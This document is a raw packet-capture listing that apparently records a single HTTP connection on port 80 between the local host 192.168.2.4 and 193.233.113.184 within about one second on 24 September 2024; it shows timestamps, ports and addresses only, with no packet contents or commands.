Sep 24, 2024 21:30:04.761600018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.761610031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.762470007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.762505054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.762518883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.762541056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.762554884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.762581110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.763488054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.763537884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.873194933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.873341084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.873346090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.873375893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.873411894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.873949051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.873960972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.873994112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.874007940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.874989033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.875000954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.875030994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.875042915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.876024961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.876036882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.876079082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.877072096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.877084017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.877115011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.877146959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.878110886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.878123045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.878132105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.878150940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.878166914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.879173040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.879185915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.879216909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.879245996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.880188942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.880201101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.880228043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.880242109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.881059885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.881072044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.881100893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.881114960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.881863117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.881875038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.881882906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.881901979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.881915092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.882699013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.882711887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.882738113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.882759094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.883526087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.883538961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.883567095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.883586884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.884361982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.884378910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.884406090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.884428024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.885220051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.885231018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.885289907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.889182091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889194965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889204979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889238119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.889266968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.889588118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889600992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889610052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.889627934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.889641047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.992441893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.992525101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.992624998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.992670059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.992736101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.992784023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.993149996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.993180037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.993200064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.993251085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.993659973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.993693113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.993717909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.993741035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.994482040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.994515896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.994533062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.994559050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.995328903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.995378971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.995714903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.995749950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.995774031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.995795965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.996623993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.996665955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.996690989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.996704102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.997528076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.997617006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.997636080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.997654915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.998441935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.998476982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.998493910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.998513937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.999351978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.999411106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.999453068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.999485970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.999495983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.999531984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.000058889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.000093937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.000119925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.000128984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.000807047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.000842094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.000864983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.000885963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.001521111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.001539946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.001575947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.001589060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.002204895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.002217054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.002227068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.002257109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.002276897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.002955914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.002968073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.003000975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.003029108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.003655910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.003667116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.003698111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.003709078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.004417896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.004430056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.004465103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.005111933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.005124092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.005150080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.005175114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.005824089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.005836010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.005846977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.005865097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.005883932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.006556034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.006570101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.006581068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.006598949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.006614923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.007421970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.007435083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.007445097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.007472038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.007503986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.008404016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.008416891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.008425951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.008438110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.008450031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.008461952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.008497000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.009350061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.009362936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.009371996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.009397030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.009423971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.010282993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.010294914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.010305882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.010323048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.010340929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.011183977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.011233091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.080915928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.080996990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.081037998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.081056118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.081079960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.081094027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.081465006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.081482887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.081506968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.081520081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.082073927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082089901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082106113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082114935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.082129002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.082148075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.082823038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082842112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082859039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.082871914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.082902908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.083527088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.083543062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.083559036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.083575964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.083597898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.084469080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.084486008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.084515095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.084527969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.109314919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.109374046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.109478951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.109493971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.109520912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.109534025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.109836102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.109853029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.109879017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.109891891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.110434055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.110451937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.110467911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.110480070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.110507011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.111443043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.111459017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.111473083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.111489058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.111509085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.111509085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.111541033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.112348080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.112365007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.112381935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.112406015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.112406015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.112421989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.113276958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.113291979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.113306999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.113332987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.113332987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.113349915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.114099979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.114116907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.114131927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.114146948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.114164114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.114164114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.114178896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.114233017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.115080118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.115097046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.115113020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.115130901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.115144014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.115156889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.116035938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.116053104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.116067886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.116117001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117114067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117131948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117146015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117161989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117161989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117193937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117218018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117825031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117841959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117857933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.117876053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117888927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.117908955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.118551016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.118567944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.118582964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.118602991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.118617058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.119339943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.119355917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.119371891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.119388103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.119410992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.119419098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.119461060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.120089054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120105982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120121002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120137930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.120148897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.120170116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.120937109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120954037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120969057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.120985985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.120999098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.121020079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.121675968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.121692896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.121709108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.121725082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.121726990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.121742010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.121773005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.122428894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.122447014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.122462034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.122489929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.122518063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.123198032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.123214960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.123231888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.123254061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.123284101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.123965025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.123981953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.123996973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124015093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124038935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.124053001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.124708891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124726057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124742985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124753952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.124761105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.124779940 CEST	49730	80	192.168.2.4	193.233.113.184
